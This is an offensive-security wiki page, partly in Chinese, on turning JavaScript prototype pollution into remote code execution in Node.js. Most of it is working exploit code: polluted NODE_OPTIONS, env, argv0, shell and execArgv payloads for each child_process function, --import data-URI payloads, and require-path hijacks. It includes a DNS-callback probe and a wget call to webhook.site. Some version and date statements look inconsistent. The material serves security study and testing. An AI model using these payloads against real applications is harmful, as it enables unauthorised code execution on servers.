Prototype Pollution to RCE

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Vulnerable Code

想象一个真实的 JS 使用以下代码：

javascript
const { execSync, fork } = require("child_process")

function isObject(obj) {
console.log(typeof obj)
return typeof obj === "function" || typeof obj === "object"
}

// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
return target
}

function clone(target) {
return merge({}, target)
}

// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT)

// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork("a_file.js")

PP2RCE 通过环境变量

PP2RCE 意味着 原型污染到 RCE（远程代码执行）。

根据这个 writeup，当一个 进程被生成 时，使用 child_process 中的某些方法（如 fork 或 spawn 或其他）会调用方法 normalizeSpawnArguments，这是一个 原型污染工具，用于创建新的环境变量：

javascript
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686

var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}

检查代码，你可以看到通过污染属性**.env可以实现毒化 envPairs**。

毒化 __proto__

warning

请注意，由于node的**child_process库中的normalizeSpawnArguments函数的工作方式，当调用某个函数以设置新的环境变量时，你只需要污染任何东西**。
例如，如果你执行__proto__.avar="valuevar"，进程将以一个名为avar且值为valuevar的变量被生成。

然而，为了使环境变量成为第一个，你需要污染****.env属性，并且（仅在某些方法中）该变量将是第一个（允许攻击）。

这就是为什么在以下攻击中**NODE_OPTIONS不在.env**内。

javascript
const { execSync, fork } = require("child_process")

// Manual Pollution
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

// Trigger gadget
var proc = fork("./a_file.js")
// This should create the file /tmp/pp2rec

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce\\").toString())//"}}}'
)

clone(USERINPUT)

var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec

污染 constructor.prototype

javascript
const { execSync, fork } = require("child_process")

// Manual Pollution
b = {}
b.constructor.prototype.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//",
}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"

proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}}}'
)

clone(USERINPUT)

var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2

PP2RCE via env vars + cmdline

与之前的有效载荷类似，提出了一种有一些变化的有效载荷在 this writeup. 主要区别在于：

  • 它不是将 nodejs payload 存储在文件 /proc/self/environ 中，而是存储在 /proc/self/cmdline 的 argv0 中。
  • 然后，它不是通过 NODE_OPTIONS 要求文件 /proc/self/environ，而是 要求 /proc/self/cmdline。
javascript
const { execSync, fork } = require("child_process")

// Manual Pollution
b = {}
b.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"

// Trigger gadget
var proc = fork("./a_file.js")
// This should create the file /tmp/pp2rec2

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}'
)

clone(USERINPUT)

var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec

Filesystem-less PP2RCE via --import (Node ≥ 19)

note

自 Node.js 19 起，CLI 标志 --import 可以通过 NODE_OPTIONS 传递，方式与 --require 相同。与 --require 不同，--import 理解 data-URIs，因此攻击者根本 不需要对文件系统的写入权限。这使得该工具在受限或只读环境中更加可靠。

该技术首次由 PortSwigger 研究在 2023 年 5 月公开记录，并已在多个 CTF 挑战中被复现。

该攻击在概念上与上面展示的 --require /proc/self/* 技巧相同，但我们不是指向一个文件，而是将有效负载直接嵌入一个 base64 编码的 data: URL：

javascript
const { fork } = require("child_process")

// Manual pollution
b = {}

// Javascript that is executed once Node parses the import URL
const js = "require('child_process').execSync('touch /tmp/pp2rce_import')";
const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`;

b.__proto__.NODE_OPTIONS = `--import ${payload}`;
// any key that will force spawn (fork) – same as earlier examples
fork("./a_file.js");

利用页面顶部显示的脆弱合并/克隆接收器：

javascript
USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}');
clone(USERINPUT);

// Gadget trigger
fork("./a_file.js");
// → creates /tmp/pp2rce_import

为什么 --import 有帮助

  1. 无磁盘交互 – 有效载荷完全在进程命令行和环境内部传输。
  2. 适用于仅支持 ESM 的环境 – --import 是在默认使用 ECMAScript 模块的现代 Node 版本中预加载 JavaScript 的标准方式。
  3. 绕过某些 --require 允许列表 – 一些加固库仅过滤 --require，而不影响 --import。

warning

NODE_OPTIONS 中的 --import 支持在最新的 Node 22.2.0（2025年6月）中仍然存在。 Node 核心团队正在讨论未来限制数据 URI，但在撰写时没有可用的缓解措施。

DNS 交互

使用以下有效载荷，可以滥用我们之前讨论过的 NODE_OPTIONS 环境变量，并通过 DNS 交互检测其是否有效：

json
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id.oastify.com"
}
}

或者，为了避免 WAF 询问域名：

json
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id\"\".oastify\"\".com"
}
}

PP2RCE 漏洞 child_process 函数

在本节中，我们将分析 child_process 中的每个函数 以执行代码，并查看我们是否可以使用任何技术强制该函数执行代码：

exec 利用
javascript
// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
// because options.env is null (not undefined)

// cmdline trick - working with small variation
// Working after kEmptyObject (fix)
const { exec } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec("something")

// stdin trick - not working
// Not using stdin

// Windows
// Working after kEmptyObject (fix)
const { exec } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec("something")
execFile 利用
javascript
// environ trick - not working
// It's not possible to pollute the .en attr to create a first env var

// cmdline trick - working with a big requirement
// Working after kEmptyObject (fix)
const { execFile } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFile("/usr/bin/node")

// stdin trick - not working
// Not using stdin

// Windows - not working

为了使 execFile 工作，它 必须执行 node 才能使 NODE_OPTIONS 生效。
如果它 没有 执行 node，你需要找到如何通过 环境变量 更改执行 的内容并设置它们。

其他 技术 在 没有此要求的情况下 工作，因为可以通过原型污染 修改 被执行的内容。 （在这种情况下，即使你可以污染 .shell，你也不会污染正在执行的内容）。

fork 利用
javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork("something")

// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
p = {}
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork("something")

// stdin trick - not working
// Not using stdin

// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork("./a_file.js")

// Windows
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork("./a_file.js")
spawn 利用
javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// stdin trick - not working
// Not using stdin

// Windows
// NOT working after require(fix) without options
const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
execFileSync 利用
javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync("something")

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFileSync("something")

// stdin trick - working
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/execFileSync-stdin}\n"
var proc = execFileSync("something")

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync("something")
execSync 利用
javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execSync("something")

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execSync("something")

// stdin trick - working
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/execSync-stdin}\n"
var proc = execSync("something")

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync("something")
spawnSync 利用
javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of node
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// stdin trick - working
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/spawnSync-stdin}\n"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// Windows
// NOT working after require(fix) without options
const { spawnSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)

强制生成

在之前的示例中，您看到如何触发小工具，功能需要调用 spawn（所有用于执行某些操作的**child_process** 方法都会调用它）。在之前的示例中，这是代码的一部分，但如果代码没有调用它呢？

控制 require 文件路径

在这个 其他写作 中，用户可以控制将执行的 require 的文件路径。在这种情况下，攻击者只需找到系统中的一个 .js 文件，该文件在导入时会执行一个 spawn 方法。
一些常见的在导入时调用 spawn 函数的文件示例包括：

  • /path/to/npm/scripts/changelog.js
  • /opt/yarn-v1.22.19/preinstall.js
  • 在下面找到更多文件

以下简单脚本将搜索来自 child_process 的调用 没有任何填充（以避免显示函数内部的调用）：

bash
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
之前脚本发现的有趣文件
  • node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
  • node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })
  • node_modules/npm/scripts/changelog.js:16:const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/)
  • node_modules/detect-libc/bin/detect-libc.js:18:process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status);
  • node_modules/jest-expo/bin/jest.js:26:const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' });
  • node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
  • node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })
  • node_modules/runtypes/scripts/format.js:13:const npmBinPath = execSync('npm bin').toString().trim();
  • node_modules/node-pty/scripts/publish.js:31:const result = cp.spawn('npm', args, { stdio: 'inherit' });

通过原型污染设置 require 文件路径

warning

之前的技术要求 用户控制将要被 require 的文件的路径。但这并不总是正确的。

然而，如果代码在原型污染后执行 require，即使你 不控制将要被 require 的路径，你 可以通过滥用原型污染强制使用不同的路径。因此，即使代码行是 require("./a_file.js") 或 require("bytes")，它将 require 你污染的包。

因此，如果在你的原型污染后执行了 require 并且没有 spawn 函数，这就是攻击：

  • 找到一个 系统内的 .js 文件，当 被 require 时将 使用 child_process 执行某些操作
  • 如果你可以向你攻击的平台上传文件，你可以上传这样的文件
  • 污染路径以 强制 require 加载将使用 child_process 执行某些操作的 .js 文件
  • 污染环境/命令行以在调用 child_process 执行函数时执行任意代码（参见初始技术）

绝对 require

如果执行的 require 是 绝对的 (require("bytes")) 并且 包在 package.json 文件中不包含 main，你可以 污染 main 属性 并使 require 执行不同的文件。

javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Install package bytes (it doesn't have a main in package.json)
// npm install bytes

// Manual Pollution
b = {}
b.__proto__.main = "/tmp/malicious.js"

// Trigger gadget
var proc = require("bytes")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_absolute\\").toString())//"}}'
)

clone(USERINPUT)

var proc = require("bytes")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

相对 require - 1

如果加载的是相对路径而不是绝对路径，您可以使 node 加载不同的路径：

javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.exports = { ".": "./malicious.js" }
b.__proto__["1"] = "/tmp"

// Trigger gadget
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_1\\").toString())//"}}'
)

clone(USERINPUT)

var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

相对 require - 2

javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.data = {}
b.__proto__.data.exports = { ".": "./malicious.js" }
b.__proto__.path = "/tmp"
b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require

// Trigger gadget
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_path\\").toString())//"}}'
)

clone(USERINPUT)

var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

相对 require - 3

与之前的类似，这在 这篇文章 中被发现。

javascript
// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js",
},
name: "./usage",
}
Object.prototype["path"] = "/opt/yarn-v1.22.19"
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
NODE_DEBUG:
"console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
NODE_OPTIONS: "--require=/proc/self/environ",
}

require("./usage.js")

VM Gadgets

在论文 https://arxiv.org/pdf/2207.11171.pdf 中也指出，vm 库某些方法的 contextExtensions 控制可以作为一个 gadget。
然而，与之前的 child_process 方法一样，它在最新版本中已被 修复。

Fixes & Unexpected protections

请注意，原型污染在访问的对象的 attribute 为 undefined 时有效。如果在 code 中该 attribute 被 设置 为一个 value，你 将无法覆盖它。

在 2022 年 6 月，从 this commit 开始，变量 options 不再是 {}，而是 kEmptyObject。这 防止了原型污染 影响 options 的 attributes 以获得 RCE。
至少从 v18.4.0 开始，这种保护已被 实施，因此 spawn 和 spawnSync 的 exploits 不再影响这些方法（如果不使用 options！）。

在 this commit 中，vm 库的 contextExtensions 的 prototype pollution 也 在某种程度上被修复，将选项设置为 kEmptyObject 而不是 {}。

info

Node 20 (2023年4月) 和 Node 22 (2025年4月) 进行了进一步的强化：多个 child_process 辅助函数现在使用 CopyOptions() 复制用户提供的 options，而不是通过引用使用它们。这阻止了嵌套对象如 stdio 的污染，但 并不保护上述描述的 NODE_OPTIONS / --import 技巧 – 这些标志仍然通过环境变量被接受。
完全修复需要限制哪些 CLI 标志可以从父进程传播，这在 Node Issue #50559 中被跟踪。

Other Gadgets

References

tip

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